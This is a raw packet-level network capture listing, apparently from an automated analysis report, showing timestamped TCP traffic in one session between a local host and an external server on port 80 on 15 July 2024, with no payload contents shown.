Jul 15, 2024 00:48:21.578321934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578332901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578344107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.578397036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.578429937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.579137087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579148054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579157114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579168081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579178095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579190016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579195976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.579200029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579210997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579216957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.579220057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579232931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.579245090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.579262972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.579297066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667362928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667383909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667396069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667407036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667419910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667426109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667438030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667478085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667519093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667613029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667634010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667646885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667654037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667656898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667695045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667721033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667931080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667943001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667953968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667964935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667977095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.667978048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667989969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.667992115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668000937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668011904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668020964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668024063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668042898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668061018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668509960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668567896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668644905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668657064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668668985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668682098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668695927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668704033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668706894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668719053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668729067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668737888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668747902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.668765068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668771982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.668802977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669249058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669261932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669275999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669287920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669301987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669301987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669313908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669326067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669337988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669339895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669354916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669357061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669368982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669392109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669403076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669444084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669811964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669823885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669836044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669847965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669859886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.669869900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.669905901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.670280933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670293093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670305967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670319080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670331001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670334101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.670344114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670356989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670367956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670375109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.670382023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670387030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.670394897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670408010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670414925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.670422077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.670445919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.670464993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671210051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671222925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671236038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671248913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671262026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671262026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671273947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671284914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671288967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671303034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671312094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671315908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671328068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671329021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671339035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671350956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671358109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671365976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671379089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.671385050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.671417952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672216892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672231913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672241926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672252893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672265053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672271013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672277927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672291040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672303915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672305107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672316074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672328949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672337055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672341108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672353983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672358036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672368050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.672388077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672406912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.672426939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673027039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673084021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673194885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673207045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673218012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673228979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673242092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673243999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673248053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673258066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673268080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673270941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673280001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673290968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673296928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673305035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673311949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673316956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.673326015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.673348904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.674182892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674195051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674206018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674217939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674231052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674232006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.674242973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674253941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674268961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.674273968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674285889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674288034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.674293041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674304008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674308062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.674315929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.674338102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.674362898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.675159931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.675172091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.675183058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.675194979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.675206900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.675220013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.675225019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.675242901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.675271034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.760626078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760662079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760674000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760835886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760847092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760859013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760874033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.760951996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.760951996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.760951996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.760987997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.760987997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.760987997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761095047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761106968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761117935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761131048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761148930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761715889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761728048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761739016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761749983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761764050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761764050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761775970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761784077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761787891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761800051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.761802912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761832952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.761858940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762033939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762046099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762056112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762064934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762072086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762079000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762089014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762094021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762100935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762118101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762126923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762130976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762144089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762146950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762156010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762167931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762172937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762180090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762191057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.762206078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.762223959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763303041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763314962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763324022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763335943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763346910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763358116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763365030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763369083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763381958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763384104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763391972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763405085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763405085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763417006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763422966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763427973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763437986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763448954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763462067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763463974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763490915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763513088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763796091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763827085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763847113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763869047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.763967037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763979912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.763989925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764003038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764014006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764014959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764025927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764035940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764038086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764051914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764062881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764065027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764077902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764082909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764090061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764108896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764137983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764890909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764903069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764911890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764923096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764935017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764945984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764957905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764957905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764969110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764978886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.764981031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764991999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.764998913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765002966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765014887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765021086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765026093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765038967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765038967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765058041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765089035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765891075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765902996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765913010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765923977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765935898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765947104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765949965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765959978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765971899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765984058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.765985012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.765995979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766006947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766015053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.766021967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766032934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766036034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.766052961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.766079903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.766707897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766720057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.766729116 CEST	80	49704	38.180.60.246	192.168.2.5
